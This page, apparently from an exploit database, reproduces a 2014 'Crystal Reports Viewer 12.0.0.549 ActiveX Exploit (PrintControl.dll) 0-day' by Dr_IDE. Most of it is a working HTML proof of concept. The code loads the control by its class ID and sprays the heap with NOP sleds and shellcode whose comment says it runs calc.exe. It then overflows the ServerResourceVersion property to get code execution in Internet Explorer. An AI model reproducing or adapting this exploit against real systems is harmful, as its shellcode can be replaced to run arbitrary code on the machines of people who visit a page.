Crystal Reports Viewer 12.0.0.549 - Activex Exploit (PrintControl.dll) 0day

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Crystal Reports Viewer 12.0.0.549 - Activex Exploit (PrintControl.dll) 0day by Dr_IDE, Tested On Windows XPSP3 VM with IE 7.0.5730.13, Not 100% reliabl


                                                &#60;!--
Crystal Reports Viewer 12.0.0.549 Activex Exploit (PrintControl.dll) 0-day
By = Dr_IDE
File = &#34;C:\Program Files\BusinessObjects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl.dll&#34;
method = &#34;ServerResourceVersion&#34;
progid = &#34;CrystalPrintControlLib.CrystalPrintControl&#34;
Site = http://www.sap.com
Tested On = Windows XPSP3 VM with IE 7.0.5730.13
Notes = In my testing it was not 100% reliable.
--&#62;


&#60;html&#62;
&#60;object id=&#39;target&#39; classid=&#39;clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824&#39;&#62;&#60;/object&#62;
&#60;script&#62;
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
&#39;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#39;+
&#39;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#39;+
&#39;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#39;+
&#39;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#39;+
&#39;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#39;+
&#39;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#39;+
&#39;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#39;+
&#39;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#39;);

nops=unescape(&#39;%u9090%u9090&#39;);
headersize = 20;
slackspace= headersize + shellcode.length;

while(nops.length &#60; slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace&#60;0x40000) block= block+ block+fillblock;
memory=new Array();
for( counter=0; counter&#60;300; counter++) memory[counter]= block +shellcode;
ret=&#39;&#39;;
for( counter=0; counter&#60;=2000; counter++)
ret+=unescape(&#39;%u0A0A%u0A0A&#39;);

target.ServerResourceVersion = ret;
&#60;/script&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1